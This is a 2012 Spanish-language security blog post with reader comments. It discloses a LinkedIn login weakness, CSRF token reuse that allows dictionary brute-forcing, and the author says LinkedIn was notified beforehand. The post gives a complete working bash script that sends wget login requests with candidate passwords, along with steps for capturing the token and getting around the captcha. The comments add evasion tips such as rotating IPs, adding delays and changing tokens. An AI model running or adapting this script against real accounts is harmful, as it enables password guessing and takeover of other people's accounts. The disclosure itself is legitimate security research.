El rincón de Zerial

Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio

Vulnerabilidad en LinkedIn permite obtencion de contraseñas

mayo 16th, 2012 · 14 Comentarios

El proceso para iniciar sesión de LinkedIn es vulnerable a ataques de fuerza bruta y es posible, mediante un diccionario, descubrir la password de usuarios. Este ataque es factible debido a un error en la validación del token de seguridad (Csrf token) que permite enviar tantos request remotos como queramos, probando distintos usuarios y usando el mismo token.
La única protección que existe, es que luego de decenas de intentos, nos muestra un Captcha, sin embargo, luego de esperar un tiempo y con un nuevo Token, es posible continuar con el ataque.

Para obtener un Token y poder probar el ataque, debemos atrapar el POST que se hace en el formulario de login y obtener el “sourceAlias” y “csrfToken”.

Cuando realizamos el ataque, no es necesario enviarle estos valores metiante POST, ya que no discrimina el métido por el cual se le entregan los valores, pudiendo generar un simple script que haga consultas mediante GET pasandole las variables por URL.

El paso siguiente es armar un script que nos ayude a enviar requests hacia el script “login-submit” de LinkedIn, validar la respuesta y comprobar la contraseña.

#!/bin/bash
#
# usage: ./linkedin.sh username@domain.com wordlist
#

TOKEN="ajax%3A1969342887909916588"
sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi"

if [ ! -f $2 ];
then
	echo "file $2 does not exists"
	exit
fi

_USR=$1
for _PWD in $(cat $2);
do
	if [ $(echo -n $_PWD|wc -c) -lt 6 ];
	then
		echo "Ignoring $_PWD (must be grather than 6 chars)"; continue
	fi
	wget -o /dev/null -O - "https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless"|grep 'The email address or password you provided does not match our records\|captcha' >>/dev/null
	if [ $? -eq 1 ];
	then
		echo "Password found: $_PWD"; exit;
	fi
done

echo "Password NOT found. Try later."

Lo que hace este script es leer un archivo de texto que usará como diccionario para realizar el ataque. Cuando queramos cambiar el Token debemos modificar el valor de la variable “TOKEN” dentro del script.

A modo de prueba, cree la cuenta “panic@zerial.org” y un diccionario que contiene las siguientes palabras:

asdfgh
zxcvbnm
1234567
0987654
12345698
456_4567
123456qwert
123456qwerty
12345qwei
112233

Ejecuté el script entregandole los parametros necesarios: sh linkedin.sh panic@zerial.org wordlist y este es el resultado:
Password found: 123456qwerty
Que corresponde a la password de prueba.

Si linkedin nos pone problemas con el captcha, lo que debemos hacer es ingresar via web con una cuenta valida, capturar nuevamente el Token e intentarlo nuevamente con ese token.

Nota: LinkedIn fue notificado hace 2 semanas sobre esta vulnerabilidad, pero no respondieron.

Etiquetas: Hacking · Seguridad

14 respuestas hasta ahora ↓

  • 1
    oe // may 16, 2012 a las 3:29 pm

    Zerial… deja de publicar cosas.. mira que hasta por twitter están dando jugo… :)

  • 2
    p0fk // may 16, 2012 a las 3:45 pm

    buena … cada cuantos intentos salta el captcha, cual fue el limite de los diccionario que usaste ?

  • 3
    Zerial // may 16, 2012 a las 3:51 pm

    es relativo la cantidad de intentos hasta que salte el captcha, depende de como cambies tu ip, del delay entre cada consulta, de como vayas cambiando el token, etc. Yo hice la prueba con 1 ip, 1 token y un diccionario de 10 palabras. Luego de correr 2 o 3 veces el script, sin ningun delay entre request, salto el captcha. Tuve que cambiar el token y esperar unos mins para continuar.

  • 4
    davisdrumkey // may 16, 2012 a las 4:16 pm

    MUHAHAHA (6) wena wena

    que mal la preocupacion de Linkedin al no responder como en dos semanas cuak!

  • 5
    fossie // may 17, 2012 a las 6:16 am

    Buen artículo. Me ha gustado el “paso a paso” incluso con la cuenta de prueba… espero que los de linkedIn no te pongan problemas y no te acusen de intentar hackearles.

    Saludos!

  • 6
    if-security.com - Vulnerabilidad en LinkedIn permite obtencion de contraseñas // may 20, 2012 a las 5:37 am

    [...] hacia el script “login-submit” de LinkedIn, validar la respuesta y comprobar la contraseña. view plaincopy to [...]

  • 7
    MisionImposible // may 20, 2012 a las 8:18 pm

    Muy bonito, pero no lo veo factible. Si es necesario estar alerta para que cada diez, cien, mil, etc intentos deba generar un nuevo Token, entonces es practicamente imposible hackear un password en esas condiciones.
    Para demostrarlo te reto a que obtengas la contraseña de mi cuenta: misionimposible@gmail.com (es mi cuenta real eh!)
    Por esa dificultad es que han restado importancia a la notificación de la supuesta vulnerabilidad.

  • 8
    MisionImposible // may 20, 2012 a las 8:29 pm

    Ah. Perdon! una ayudita. No creas que la contraseña es super-rebuscada. Es una palabra real del diccionario español de 7 caracteres, sin acentos ni eñes, ni tildes ni nada. Suerte!

  • 9
    khun // may 21, 2012 a las 8:12 pm

    Ohhhhhhhh! 10 – 0

  • 10
    LinkedIN – Vulnerability in the authentication process and related risks | Security Affairs // may 22, 2012 a las 6:09 am

    [...] in the authentication process of the popular network LinkedIN, the news published on the Spanish blog of the security expert Fernando A. Lagos Berardi. The article published reports that a [...]

  • 11
    Vulnerabilidad en LinkedIn permite obtencion de contraseñas - Kwell – Blog de Seguridad // may 22, 2012 a las 11:32 pm

    [...] info: http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/ (function() { var po = document.createElement('script'); po.type = [...]

  • 12
    LinkedIn passwords compromised.Social network poisoning & other risks | Security Affairs // jun 7, 2012 a las 3:00 am

    [...] in the authentication process of the popular network LinkedIN, the news published on the Spanish blog of the security expert Fernando A. Lagos Berardi. The article published reported a vulnerability [...]

  • 13
    Juan // jul 2, 2012 a las 9:26 pm

    Parece que el tiempo le dio la razón a @Zerial

  • 14
    Las cinco W del CSRF y cómo prevenirlo - Código Máquina // sep 22, 2013 a las 10:28 am

    [...] No importa que se sepa programar y se lleven años de experiencia, esto le ocurrió a Gmail, Linkedin y a otras grandes [...]

Deja un Comentario